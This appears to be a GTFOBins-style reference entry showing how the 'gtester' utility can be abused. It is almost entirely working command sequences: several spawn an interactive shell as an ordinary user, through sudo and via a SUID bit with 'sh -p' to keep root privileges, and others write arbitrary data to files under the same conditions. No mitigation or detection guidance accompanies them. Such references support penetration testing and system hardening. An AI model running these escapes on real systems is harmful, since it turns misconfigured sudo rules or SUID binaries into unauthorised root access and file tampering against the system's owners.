This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
echo 'exec /bin/sh 0<&1' >/path/to/temp-file
chmod +x /path/to/temp-file
gtester -q /path/to/temp-file
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
echo 'exec /bin/sh 0<&1' >/path/to/temp-file
chmod +x /path/to/temp-file
gtester -q /path/to/temp-file
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
echo '#!/bin/sh -p' >/path/to/temp-file
echo 'exec /bin/sh -p 0<&1' >>/path/to/temp-file
chmod +x /path/to/temp-file
gtester -q /path/to/temp-file
This executable can write data to local files.
This function can be performed by any unprivileged user.
gtester DATA -o /path/to/output-file
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
gtester DATA -o /path/to/output-file
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
gtester DATA -o /path/to/output-file